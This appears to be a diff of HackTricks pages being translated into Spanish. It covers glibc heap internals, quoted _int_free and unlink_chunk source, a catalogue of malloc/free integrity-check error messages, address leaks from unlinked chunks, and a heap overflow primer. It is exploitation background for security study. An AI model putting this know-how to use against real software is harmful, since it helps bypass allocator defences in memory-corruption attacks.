Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk. Comienza verificando que el tamaño sea adecuado para fast bin y comprueba si es posible configurarlo cerca del top chunk.
Then, add the freed chunk at the top of the fast bin while performing some checks: Luego, agrega el chunk liberado en la parte superior del fast bin mientras realizas algunas verificaciones:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)` - Si el tamaño del chunk es inválido (demasiado grande o pequeño) desencadena: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)` - Si el chunk agregado ya era el top del fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)` - Si el tamaño del chunk en la parte superior tiene un tamaño diferente al del chunk que estamos agregando: `invalid fastbin entry (free)`
<details> <details>
<summary>_int_free Fast Bin</summary> <summary>_int_free Fast Bin</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/* /*
If eligible, place chunk on a fastbin so it can be found If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc. and used quickly in malloc.
*/ */
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS #if TRIM_FASTBINS
/* /*
If TRIM_FASTBINS set, don't place chunks If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins bordering top into fastbins
*/ */
&& (chunk_at_offset(p, size) != av->top) && (chunk_at_offset(p, size) != av->top)
#endif #endif
) { ) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size)) || __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0)) >= av->system_mem, 0))
{ {
bool fail = true; bool fail = true;
/* We might not have a lock at this point and concurrent modifications /* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after of system_mem might result in a false positive. Redo the test after
getting the lock. */ getting the lock. */
if (!have_lock) if (!have_lock)
{ {
__libc_lock_lock (av->mutex); __libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex); __libc_lock_unlock (av->mutex);
} }
if (fail) if (fail)
malloc_printerr ("free(): invalid next size (fast)"); malloc_printerr ("free(): invalid next size (fast)");
} }
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true); atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size); unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx); fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2; mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P) if (SINGLE_THREAD_P)
{ {
/* Check that the top of the bin is not the record we are going to /* Check that the top of the bin is not the record we are going to
add (i.e., double free). */ add (i.e., double free). */
if (__builtin_expect (old == p, 0)) if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)"); malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old); p->fd = PROTECT_PTR (&p->fd, old);
*fb = p; *fb = p;
} }
else else
do do
{ {
/* Check that the top of the bin is not the record we are going to /* Check that the top of the bin is not the record we are going to
add (i.e., double free). */ add (i.e., double free). */
if (__builtin_expect (old == p, 0)) if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)"); malloc_printerr ("double free or corruption (fasttop)");
old2 = old; old2 = old;
p->fd = PROTECT_PTR (&p->fd, old); p->fd = PROTECT_PTR (&p->fd, old);
} }
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2); != old2);
/* Check that size of fastbin chunk at the top is the same as /* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been only if we have the lock, otherwise it might have already been
allocated again. */ allocated again. */
if (have_lock && old != NULL if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)"); malloc_printerr ("invalid fastbin entry (free)");
} }
``` ```
</details> </details>
### \_int_free finale <a href="#int_free" id="int_free"></a> ### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` Si el bloque aún no estaba asignado en ningún contenedor, llama a `_int_free_merge_chunk`
<details> <details>
<summary>_int_free finale</summary> <summary>_int_free finale</summary>
```c ```c
/* /*
Consolidate other non-mmapped chunks as they arrive. Consolidate other non-mmapped chunks as they arrive.
*/ */
else if (!chunk_is_mmapped(p)) { else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */ /* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P) if (SINGLE_THREAD_P)
have_lock = true; have_lock = true;
if (!have_lock) if (!have_lock)
__libc_lock_lock (av->mutex); __libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size); _int_free_merge_chunk (av, p, size);
if (!have_lock) if (!have_lock)
__libc_lock_unlock (av->mutex); __libc_lock_unlock (av->mutex);
} }
/* /*
If the chunk was allocated via mmap, release via munmap(). If the chunk was allocated via mmap, release via munmap().
*/ */
else { else {
munmap_chunk (p); munmap_chunk (p);
} }
} }
``` ```
</details> </details>
## \_int_free_merge_chunk ## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. Esta función intentará fusionar el chunk P de SIZE bytes con sus vecinos. Coloca el chunk resultante en la lista de bins no ordenados.
Some checks are performed: Se realizan algunas verificaciones:
- If the chunk is the top chunk: `double free or corruption (top)` - Si el chunk es el chunk superior: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` - Si el siguiente chunk está fuera de los límites de la arena: `double free or corruption (out)`
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` - Si el chunk no está marcado como utilizado (en el `prev_inuse` del siguiente chunk): `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` - Si el siguiente chunk tiene un tamaño demasiado pequeño o demasiado grande: `free(): invalid next size (normal)`
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` - si el chunk anterior no está en uso, intentará consolidar. Pero, si el prev_size difiere del tamaño indicado en el chunk anterior: `corrupted size vs. prev_size while consolidating`
<details> <details>
<summary>_int_free_merge_chunk code</summary> <summary>_int_free_merge_chunk code</summary>
```c ```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2
/* Try to merge chunk P of SIZE bytes with its neighbors. Put the /* Try to merge chunk P of SIZE bytes with its neighbors. Put the
resulting chunk on the appropriate bin list. P must not be on a resulting chunk on the appropriate bin list. P must not be on a
bin list yet, and it can be in use. */ bin list yet, and it can be in use. */
static void static void
_int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size)
{ {
mchunkptr nextchunk = chunk_at_offset(p, size); mchunkptr nextchunk = chunk_at_offset(p, size);
/* Lightweight tests: check whether the block is already the /* Lightweight tests: check whether the block is already the
top block. */ top block. */
if (__glibc_unlikely (p == av->top)) if (__glibc_unlikely (p == av->top))
malloc_printerr ("double free or corruption (top)"); malloc_printerr ("double free or corruption (top)");
/* Or whether the next chunk is beyond the boundaries of the arena. */ /* Or whether the next chunk is beyond the boundaries of the arena. */
if (__builtin_expect (contiguous (av) if (__builtin_expect (contiguous (av)
&& (char *) nextchunk && (char *) nextchunk
>= ((char *) av->top + chunksize(av->top)), 0)) >= ((char *) av->top + chunksize(av->top)), 0))
malloc_printerr ("double free or corruption (out)"); malloc_printerr ("double free or corruption (out)");
/* Or whether the block is actually not marked used. */ /* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk))) if (__glibc_unlikely (!prev_inuse(nextchunk)))
malloc_printerr ("double free or corruption (!prev)"); malloc_printerr ("double free or corruption (!prev)");
INTERNAL_SIZE_T nextsize = chunksize(nextchunk); INTERNAL_SIZE_T nextsize = chunksize(nextchunk);
if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
|| __builtin_expect (nextsize >= av->system_mem, 0)) || __builtin_expect (nextsize >= av->system_mem, 0))
malloc_printerr ("free(): invalid next size (normal)"); malloc_printerr ("free(): invalid next size (normal)");
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
/* Consolidate backward. */ /* Consolidate backward. */
if (!prev_inuse(p)) if (!prev_inuse(p))
{ {
INTERNAL_SIZE_T prevsize = prev_size (p); INTERNAL_SIZE_T prevsize = prev_size (p);
size += prevsize; size += prevsize;
p = chunk_at_offset(p, -((long) prevsize)); p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize)) if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating"); malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p); unlink_chunk (av, p);
} }
/* Write the chunk header, maybe after merging with the following chunk. */ /* Write the chunk header, maybe after merging with the following chunk. */
size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); size = _int_free_create_chunk (av, p, size, nextchunk, nextsize);
_int_free_maybe_consolidate (av, size); _int_free_maybe_consolidate (av, size);
} }
``` ```
</details> </details>
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,160 +4,160 @@
## unlink ## unlink
For more info check: Para más información, consulta:
{{#ref}} {{#ref}}
unlink.md unlink.md
{{#endref}} {{#endref}}
This is a summary of the performed checks: Este es un resumen de las comprobaciones realizadas:
- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - Verificar si el tamaño indicado del chunk es el mismo que el `prev_size` indicado en el siguiente chunk
- Error message: `corrupted size vs. prev_size` - Mensaje de error: `corrupted size vs. prev_size`
- Check also that `P->fd->bk == P` and `P->bk->fw == P` - Verificar también que `P->fd->bk == P` y `P->bk->fw == P`
- Error message: `corrupted double-linked list` - Mensaje de error: `corrupted double-linked list`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - Si el chunk no es pequeño, verificar que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P`
- Error message: `corrupted double-linked list (not small)` - Mensaje de error: `corrupted double-linked list (not small)`
## \_int_malloc ## \_int_malloc
For more info check: Para más información, consulta:
{{#ref}} {{#ref}}
malloc-and-sysmalloc.md malloc-and-sysmalloc.md
{{#endref}} {{#endref}}
- **Checks during fast bin search:** - **Comprobaciones durante la búsqueda en fast bin:**
- If the chunk is misaligned: - Si el chunk está desalineado:
- Error message: `malloc(): unaligned fastbin chunk detected 2` - Mensaje de error: `malloc(): unaligned fastbin chunk detected 2`
- If the forward chunk is misaligned: - Si el chunk hacia adelante está desalineado:
- Error message: `malloc(): unaligned fastbin chunk detected` - Mensaje de error: `malloc(): unaligned fastbin chunk detected`
- If the returned chunk has a size that isn't correct because of it's index in the fast bin: - Si el chunk devuelto tiene un tamaño que no es correcto debido a su índice en el fast bin:
- Error message: `malloc(): memory corruption (fast)` - Mensaje de error: `malloc(): memory corruption (fast)`
- If any chunk used to fill the tcache is misaligned: - Si algún chunk utilizado para llenar el tcache está desalineado:
- Error message: `malloc(): unaligned fastbin chunk detected 3` - Mensaje de error: `malloc(): unaligned fastbin chunk detected 3`
- **Checks during small bin search:** - **Comprobaciones durante la búsqueda en small bin:**
- If `victim->bk->fd != victim`: - Si `victim->bk->fd != victim`:
- Error message: `malloc(): smallbin double linked list corrupted` - Mensaje de error: `malloc(): smallbin double linked list corrupted`
- **Checks during consolidate** performed for each fast bin chunk:&#x20; - **Comprobaciones durante la consolidación** realizadas para cada chunk de fast bin:&#x20;
- If the chunk is unaligned trigger: - Si el chunk está desalineado, activar:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected`
- If the chunk has a different size that the one it should because of the index it's in: - Si el chunk tiene un tamaño diferente al que debería debido al índice en el que se encuentra:
- Error message: `malloc_consolidate(): invalid chunk size` - Mensaje de error: `malloc_consolidate(): invalid chunk size`
- If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - Si el chunk anterior no está en uso y el chunk anterior tiene un tamaño diferente al indicado por prev_chunk:
- Error message: `corrupted size vs. prev_size in fastbins` - Mensaje de error: `corrupted size vs. prev_size in fastbins`
- **Checks during unsorted bin search**: - **Comprobaciones durante la búsqueda en unsorted bin**:
- If the chunk size is weird (too small or too big):&#x20; - Si el tamaño del chunk es extraño (demasiado pequeño o demasiado grande):&#x20;
- Error message: `malloc(): invalid size (unsorted)` - Mensaje de error: `malloc(): invalid size (unsorted)`
- If the next chunk size is weird (too small or too big): - Si el tamaño del siguiente chunk es extraño (demasiado pequeño o demasiado grande):
- Error message: `malloc(): invalid next size (unsorted)` - Mensaje de error: `malloc(): invalid next size (unsorted)`
- If the previous size indicated by the next chunk differs from the size of the chunk: - Si el tamaño anterior indicado por el siguiente chunk difiere del tamaño del chunk:
- Error message: `malloc(): mismatching next->prev_size (unsorted)` - Mensaje de error: `malloc(): mismatching next->prev_size (unsorted)`
- If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - Si no `victim->bck->fd == victim` o no `victim->fd == av (arena)`:
- Error message: `malloc(): unsorted double linked list corrupted` - Mensaje de error: `malloc(): unsorted double linked list corrupted`
- As we are always checking the las one, it's fd should be pointing always to the arena struct. - Como siempre estamos verificando el último, su fd debería estar apuntando siempre a la estructura de arena.
- If the next chunk isn't indicating that the previous is in use: - Si el siguiente chunk no indica que el anterior está en uso:
- Error message: `malloc(): invalid next->prev_inuse (unsorted)` - Mensaje de error: `malloc(): invalid next->prev_inuse (unsorted)`
- If `fwd->bk_nextsize->fd_nextsize != fwd`: - Si `fwd->bk_nextsize->fd_nextsize != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (nextsize)` - Mensaje de error: `malloc(): largebin double linked list corrupted (nextsize)`
- If `fwd->bk->fd != fwd`: - Si `fwd->bk->fd != fwd`:
- Error message: `malloc(): largebin double linked list corrupted (bk)` - Mensaje de error: `malloc(): largebin double linked list corrupted (bk)`
- **Checks during large bin (by index) search:** - **Comprobaciones durante la búsqueda en large bin (por índice):**
- `bck->fd-> bk != bck`: - `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks` - Mensaje de error: `malloc(): corrupted unsorted chunks`
- **Checks during large bin (next bigger) search:** - **Comprobaciones durante la búsqueda en large bin (siguiente más grande):**
- `bck->fd-> bk != bck`: - `bck->fd-> bk != bck`:
- Error message: `malloc(): corrupted unsorted chunks2` - Mensaje de error: `malloc(): corrupted unsorted chunks2`
- **Checks during Top chunk use:** - **Comprobaciones durante el uso del Top chunk:**
- `chunksize(av->top) > av->system_mem`: - `chunksize(av->top) > av->system_mem`:
- Error message: `malloc(): corrupted top size` - Mensaje de error: `malloc(): corrupted top size`
## `tcache_get_n` ## `tcache_get_n`
- **Checks in `tcache_get_n`:** - **Comprobaciones en `tcache_get_n`:**
- If chunk is misaligned: - Si el chunk está desalineado:
- Error message: `malloc(): unaligned tcache chunk detected` - Mensaje de error: `malloc(): unaligned tcache chunk detected`
## `tcache_thread_shutdown` ## `tcache_thread_shutdown`
- **Checks in `tcache_thread_shutdown`:** - **Comprobaciones en `tcache_thread_shutdown`:**
- If chunk is misaligned: - Si el chunk está desalineado:
- Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` - Mensaje de error: `tcache_thread_shutdown(): unaligned tcache chunk detected`
## `__libc_realloc` ## `__libc_realloc`
- **Checks in `__libc_realloc`:** - **Comprobaciones en `__libc_realloc`:**
- If old pointer is misaligned or the size was incorrect: - Si el puntero antiguo está desalineado o el tamaño era incorrecto:
- Error message: `realloc(): invalid pointer` - Mensaje de error: `realloc(): invalid pointer`
## `_int_free` ## `_int_free`
For more info check: Para más información, consulta:
{{#ref}} {{#ref}}
free.md free.md
{{#endref}} {{#endref}}
- **Checks during the start of `_int_free`:** - **Comprobaciones al inicio de `_int_free`:**
- Pointer is aligned: - El puntero está alineado:
- Error message: `free(): invalid pointer` - Mensaje de error: `free(): invalid pointer`
- Size larger than `MINSIZE` and size also aligned: - Tamaño mayor que `MINSIZE` y tamaño también alineado:
- Error message: `free(): invalid size` - Mensaje de error: `free(): invalid size`
- **Checks in `_int_free` tcache:** - **Comprobaciones en `_int_free` tcache:**
- If there are more entries than `mp_.tcache_count`: - Si hay más entradas que `mp_.tcache_count`:
- Error message: `free(): too many chunks detected in tcache` - Mensaje de error: `free(): too many chunks detected in tcache`
- If the entry is not aligned: - Si la entrada no está alineada:
- Error message: `free(): unaligned chunk detected in tcache 2` - Mensaje de error: `free(): unaligned chunk detected in tcache 2`
- If the freed chunk was already freed and is present as chunk in the tcache: - Si el chunk liberado ya fue liberado y está presente como chunk en el tcache:
- Error message: `free(): double free detected in tcache 2` - Mensaje de error: `free(): double free detected in tcache 2`
- **Checks in `_int_free` fast bin:** - **Comprobaciones en `_int_free` fast bin:**
- If the size of the chunk is invalid (too big or small) trigger: - Si el tamaño del chunk es inválido (demasiado grande o pequeño) activar:
- Error message: `free(): invalid next size (fast)` - Mensaje de error: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: - Si el chunk agregado ya era el top del fast bin:
- Error message: `double free or corruption (fasttop)` - Mensaje de error: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: - Si el tamaño del chunk en la parte superior tiene un tamaño diferente al del chunk que estamos agregando:
- Error message: `invalid fastbin entry (free)` - Mensaje de error: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`** ## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:** - **Comprobaciones en `_int_free_merge_chunk`:**
- If the chunk is the top chunk: - Si el chunk es el top chunk:
- Error message: `double free or corruption (top)` - Mensaje de error: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: - Si el siguiente chunk está fuera de los límites de la arena:
- Error message: `double free or corruption (out)` - Mensaje de error: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk): - Si el chunk no está marcado como usado (en el prev_inuse del siguiente chunk):
- Error message: `double free or corruption (!prev)` - Mensaje de error: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big: - Si el siguiente chunk tiene un tamaño demasiado pequeño o demasiado grande:
- Error message: `free(): invalid next size (normal)` - Mensaje de error: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - Si el chunk anterior no está en uso, intentará consolidar. Pero, si el `prev_size` difiere del tamaño indicado en el chunk anterior:
- Error message: `corrupted size vs. prev_size while consolidating` - Mensaje de error: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`** ## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:** - **Comprobaciones en `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - Al agregar un chunk en el unsorted bin, verificar si `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks` - Mensaje de error: `free(): corrupted unsorted chunks`
## `do_check_malloc_state` ## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:** - **Comprobaciones en `do_check_malloc_state`:**
- If misaligned fast bin chunk: - Si el chunk de fast bin está desalineado:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` - Mensaje de error: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate` ## `malloc_consolidate`
- **Checks in `malloc_consolidate`:** - **Comprobaciones en `malloc_consolidate`:**
- If misaligned fast bin chunk: - Si el chunk de fast bin está desalineado:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - Mensaje de error: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size: - Si el tamaño del chunk de fast bin es incorrecto:
- Error message: `malloc_consolidate(): invalid chunk size` - Mensaje de error: `malloc_consolidate(): invalid chunk size`
## `_int_realloc` ## `_int_realloc`
- **Checks in `_int_realloc`:** - **Comprobaciones en `_int_realloc`:**
- Size is too big or too small: - El tamaño es demasiado grande o demasiado pequeño:
- Error message: `realloc(): invalid old size` - Mensaje de error: `realloc(): invalid old size`
- Size of the next chunk is too big or too small: - El tamaño del siguiente chunk es demasiado grande o demasiado pequeño:
- Error message: `realloc(): invalid next size` - Mensaje de error: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
### Code ### Código
```c ```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void static void
unlink_chunk (mstate av, mchunkptr p) unlink_chunk (mstate av, mchunkptr p)
{ {
if (chunksize (p) != prev_size (next_chunk (p))) if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd; mchunkptr fd = p->fd;
mchunkptr bk = p->bk; mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); malloc_printerr ("corrupted double-linked list");
fd->bk = bk; fd->bk = bk;
bk->fd = fd; bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{ {
if (p->fd_nextsize->bk_nextsize != p if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p) || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)"); malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list // Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL) if (fd->fd_nextsize == NULL)
{ {
if (p->fd_nextsize == p) if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd; fd->fd_nextsize = fd->bk_nextsize = fd;
else else
// Link the nexsize list in when removing the new chunk // Link the nexsize list in when removing the new chunk
{ {
fd->fd_nextsize = p->fd_nextsize; fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize; fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd; p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd; p->bk_nextsize->fd_nextsize = fd;
} }
} }
else else
{ {
p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize;
} }
} }
} }
``` ```
### Explicación Gráfica
### Graphical Explanation Consulta esta gran explicación gráfica del proceso unlink:
Check this great graphical explanation of the unlink process:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure> <figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks ### Comprobaciones de Seguridad
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk - Verifica si el tamaño indicado del chunk es el mismo que el prev_size indicado en el siguiente chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P` - Verifica también que `P->fd->bk == P` y `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - Si el chunk no es pequeño, verifica que `P->fd_nextsize->bk_nextsize == P` y `P->bk_nextsize->fd_nextsize == P`
### Leaks ### Fugas
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: Un chunk desvinculado no limpia las direcciones asignadas, por lo que al tener acceso a él, es posible filtrar algunas direcciones interesantes:
Libc Leaks: Fugas de Libc:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc - Si P está ubicado en la cabeza de la lista doblemente enlazada, `bk` apuntará a `malloc_state` en libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc - Si P está ubicado al final de la lista doblemente enlazada, `fd` apuntará a `malloc_state` en libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. - Cuando la lista doblemente enlazada contiene solo un chunk libre, P está en la lista doblemente enlazada, y tanto `fd` como `bk` pueden filtrar la dirección dentro de `malloc_state`.
Heap leaks: Fugas de Heap:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap - Si P está ubicado en la cabeza de la lista doblemente enlazada, `fd` apuntará a un chunk disponible en el heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap - Si P está ubicado al final de la lista doblemente enlazada, `bk` apuntará a un chunk disponible en el heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap - Si P está en la lista doblemente enlazada, tanto `fd` como `bk` apuntarán a un chunk disponible en el heap
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,50 +1,48 @@
# Heap Overflow # Desbordamiento de Heap
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** Un desbordamiento de heap es como un [**desbordamiento de pila**](../stack-overflow/) pero en el heap. Básicamente significa que se reservó un espacio en el heap para almacenar algunos datos y **los datos almacenados eran más grandes que el espacio reservado.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. En los desbordamientos de pila sabemos que algunos registros como el puntero de instrucción o el marco de pila se van a restaurar desde la pila y podría ser posible abusar de esto. En el caso de los desbordamientos de heap, **no hay información sensible almacenada por defecto** en el bloque de heap que puede ser desbordado. Sin embargo, podría haber información sensible o punteros, por lo que la **criticidad** de esta vulnerabilidad **depende** de **qué datos podrían ser sobrescritos** y cómo un atacante podría abusar de esto.
> [!TIP] > [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). > Para encontrar los desplazamientos de desbordamiento, puedes usar los mismos patrones que en [**desbordamientos de pila**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows ### Desbordamientos de Pila vs Desbordamientos de Heap
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. En los desbordamientos de pila, la disposición y los datos que van a estar presentes en la pila en el momento en que se puede activar la vulnerabilidad son bastante confiables. Esto se debe a que la pila es lineal, siempre aumentando en memoria colisionante, en **lugares específicos de la ejecución del programa, la memoria de la pila generalmente almacena un tipo de datos similar** y tiene una estructura específica con algunos punteros al final de la parte de la pila utilizada por cada función.
